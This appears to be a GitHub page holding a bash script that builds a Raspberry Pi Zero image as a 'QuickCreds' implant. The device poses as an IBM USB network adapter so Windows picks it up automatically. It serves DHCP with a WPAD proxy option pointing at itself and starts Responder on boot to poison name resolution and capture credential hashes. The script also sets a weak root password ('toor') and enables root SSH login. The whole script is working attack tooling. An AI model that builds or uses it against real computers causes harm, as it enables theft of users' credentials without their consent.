-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathpi0-build-image-QuickCreds.sh
executable file
·284 lines (239 loc) · 7.68 KB
/
pi0-build-image-QuickCreds.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
#!/bin/bash
# Based on scipt pi-builder created by Chris Blake, https://github.com/riptidewave93 , 2013-10-17
#
# Modified by Flo & Stan 2017-03-07 for Rapsberry Pi 0 Raspbian Jessie image with Responder
#
# Required Debian Packages: binfmt-support qemu qemu-user-static debootstrap kpartx lvm2 dosfstools xz-utils
#
# V1.0: Initial release
#
# To Do: Error Checking
# Date format, used in the image file name
mydate=`date +%Y%m%d-%H%M`
# Size of the image and boot partitions
imgsize="964M"
bootsize="64M"
# Location of the build environment, where the image will be mounted during build
basedir="$( cd "$( dirname "${BASH_SOURCE[0]}" )" && pwd )"
buildenv="$( cd "$( dirname "${BASH_SOURCE[0]}" )" && pwd )/BuildEnv"
distrib_name="raspbian"
deb_mirror="http://archive.raspbian.org/raspbian"
deb_release="jessie"
deb_arch="armhf"
echo "PI-BUILDER: Building $distrib_name Image"
# Check to make sure this is ran by root
if [ $EUID -ne 0 ]; then
echo "PI-BUILDER: this tool must be run as root"
exit 1
fi
# make sure no builds are in process (which should never be an issue)
if [ -e ./.pibuild-$1 ]; then
echo "PI-BUILDER: Build already in process, aborting"
exit 1
else
touch ./.pibuild-$1
fi
# Create the buildenv folder
mkdir -p $buildenv
cd $buildenv
# start the debootstrap of the system
echo "PI-BUILDER: debootstraping..."
debootstrap --variant=minbase --no-check-gpg --foreign --arch $deb_arch $deb_release $buildenv $deb_mirror
cp /usr/bin/qemu-arm-static usr/bin/
# Chroot
LANG=C chroot $buildenv /debootstrap/debootstrap --second-stage
# Start adding content to the system files
echo "PI-BUILDER: Setting up custom files/settings relating to rpi"
# apt mirrors
echo "deb $deb_mirror $deb_release main contrib non-free
deb-src $deb_mirror $deb_release main contrib non-free" > etc/apt/sources.list
# Boot commands
echo "dwc_otg.lpm_enable=0 console=ttyAMA0,115200 console=tty1 root=/dev/mmcblk0p2 rootfstype=ext4 elevator=deadline fsck.repair=yes rootwait quiet fastboot noswap" > boot/cmdline.txt
# Set gpu_mem to minimum, enable turbo mode, disable HDMI output, enable SPI & i2c
echo "gpu_mem=16
force_turbo=1
dtoverlay=pi3-disable-bt
dtoverlay=pi3-disable-wifi
dtoverlay=dwc2
disable_splash=1
hdmi_blanking=2
#dtparam=act_led_trigger=none
#dtparam=act_led_activelow=on" > boot/config.txt
# Modules: load spi-dev, i2c-dev and g_ether
echo "dwc2
g_ether" >> etc/modules
# IBM Remote USB RNDIS vendor and product IDs for Windows auto detection
echo "options g_ether idVendor=0x04b3 idProduct=0x4010
" > etc/modprobe.d/g_ether.conf
# Mounts
echo "proc /proc proc defaults 0 0
/dev/mmcblk0p1 /boot vfat defaults,noatime,discard,ro 0 0
/dev/mmcblk0p2 / ext4 defaults,noatime,discard 0 1
tmpfs /var/log tmpfs nodev,nosuid 0 0
tmpfs /var/tmp tmpfs nodev,nosuid 0 0
tmpfs /var/lib/dhcp tmpfs nodev,nosuid 0 0
tmpfs /tmp tmpfs nodev,nosuid 0 0
" > etc/fstab
# Hostname
host_name="pi0"
echo "${host_name}" > etc/hostname
echo "127.0.1.1 ${host_name}" >> etc/host
# Networking
echo "auto lo
iface lo inet loopback
#iallow-hotplug eth0
#iface eth0 inet dhcp
#iface eth0 inet6 dhcp
auto usb0
allow-hotplug usb0
iface usb0 inet static
address 192.168.2.1
netmask 255.255.255.0
#gateway 192.168.2.1
" > etc/network/interfaces
# Console settings
echo "console-common console-data/keymap/policy select Select keymap from full list
console-common console-data/keymap/full select de-latin1-nodeadkeys
" > debconf.set
# Third Stage Setup Script (most of the setup process)
echo "#!/bin/bash
debconf-set-selections /debconf.set
rm -f /debconf.set
apt-get update
apt-get -y install binutils wget curl locales console-common \
git sqlite3 screen \
python-minimal python-pip python-dev \
openssh-server isc-dhcp-server net-tools less vim bash-completion
export LANGUAGE=en_US.UTF-8
export LANG=en_US.UTF-8
export LC_ALL=en_US.UTF-8
echo 'en_US.UTF-8 UTF-8' > /etc/locale.gen
locale-gen
apt-get -y dist-upgrade
apt-get -y autoremove --purge
apt-get -y autoclean
pip install pycrypto
cd /root/
mkdir logs
git clone https://github.com/spiderlabs/responder
wget https://raw.githubusercontent.com/Hexxeh/rpi-update/master/rpi-update -O /usr/bin/rpi-update
chmod +x /usr/bin/rpi-update
SKIP_WARNING=1 SKIP_BACKUP=1 UPDATE_SELF=0 rpi-update
echo \"root:toor\" | chpasswd
echo 'HWCLOCKACCESS=no' >> /etc/default/hwclock
echo 'RAMTMP=yes' >> /etc/default/tmpfs
ln -s /tmp/random-seed /var/lib/systemd/random-seed
echo \"ExecStartPre=/bin/echo '' >/tmp/random-seed\" >> /lib/systemd/system/systemd-random-seed.service
ln -s /proc/self/mounts /etc/mtab
sed -i 's/^PermitRootLogin without-password/PermitRootLogin yes/' /etc/ssh/sshd_config
sed -i 's/^\"syntax on/syntax on/' /etc/vim/vimrc
rm -f third-stage
" > third-stage
chmod +x third-stage
LANG=C chroot $buildenv /third-stage
echo 'ddns-update-style none;
option domain-name "domain.local";
option domain-name-servers 192.168.2.1;
default-lease-time 60;
max-lease-time 72;
authoritative;
# wpad
option local-proxy-config code 252 = text;
# A slightly different configuration for an internal subnet.
subnet 192.168.2.0 netmask 255.255.255.0 {
range 192.168.2.2 192.168.2.10;
option routers 192.168.2.1;
option local-proxy-config "http://192.168.2.1/wpad.dat";
}' > etc/dhcp/dhcpd.conf
echo "#!/bin/sh -e
#
# rc.local
#
# This script is executed at the end of each multiuser runlevel.
# Make sure that the script will \"exit 0\" on success or any other
# value on error.
#
# In order to enable or disable this script just change the execution
# bits.
#
# By default this script does nothing.
# Start Responder
/usr/bin/screen -dmS responder bash -c 'cd /root/responder/; python Responder.py -I usb0 -f -w -r -d -F'
exit 0
" > etc/rc.local
echo "# Logging
deflog on
logfile /root/logs/screenlog_\$USER_.%H.%n.%Y%m%d-%0c:%s.%t.log" >> root/.screenrc
echo "PI-BUILDER: Cleaning up build space/image"
# Cleanup Script
echo "#!/bin/bash
rm -rf /var/lib/apt/lists/* /tmp/* /var/tmp/*
rm -rf /boot.bak
rm -f /usr/bin/qemu*
rm -r /root/.rpi-firmware > /dev/null 2>&1
rm -f cleanup
" > cleanup
chmod +x cleanup
LANG=C chroot $buildenv /cleanup
cd $basedir
# folders in the basedir to be mounted, one for rootfs, one for /boot
rootfs="${basedir}/rootfs"
bootfs="${rootfs}/boot"
# Create the image file
echo "PI-BUILDER: Creating Image file"
image="${basedir}/rpi_${distrib_name}_${deb_release}_${deb_arch}_${mydate}.img"
dd if=/dev/zero of=$image bs=$imgsize count=1
device=`losetup -f --show $image`
echo "PI-BUILDER: Image $image created and mounted as $device"
# Format the image file partitions
echo "PI-BUILDER: Setting up MBR/Partitions"
fdisk $device << EOF
n
p
1
+$bootsize
t
c
n
p
2
w
EOF
# Some systems need partprobe to run before we can fdisk the device
partprobe
# Mount the loopback device so we can modify the image, format the partitions, and mount/cd into rootfs
device=`kpartx -va $image | sed -E 's/.*(loop[0-9])p.*/\1/g' | head -1`
sleep 1 # Without this, we sometimes miss the mapper device!
device="/dev/mapper/${device}"
bootp=${device}p1
rootp=${device}p2
echo "PI-BUILDER: Formatting Partitions"
mkfs.vfat $bootp
mkfs.ext4 $rootp -L root
mkdir -p $rootfs
mount $rootp $rootfs
cd $rootfs
mkdir boot
# Mount the boot partition
mount -t vfat $bootp $bootfs
echo "Rsyncing rootfs into image file"
rsync -HPavz -q ${buildenv}/ ${rootfs}/
sync
# Unmount some partitions
echo "PI-BUILDER: Unmounting Partitions"
umount -l $bootp
umount -l $rootp
kpartx -d $image
# Properly terminate the loopback devices
echo "PI-BUILDER: Finished making the image $image"
dmsetup remove_all
losetup -D
cd $basedir
# Compressing with xz and terminating
echo "PI-BUILDER: Compressing, then terminating"
xz -9 -T 0 ./rpi_${distrib_name}_${deb_release}_${deb_arch}_${mydate}.img
rm ./.pibuild-$1
rm -Rf $buildenv
rm -Rf $rootfs
echo "PI-BUILDER: Finished!"
exit 0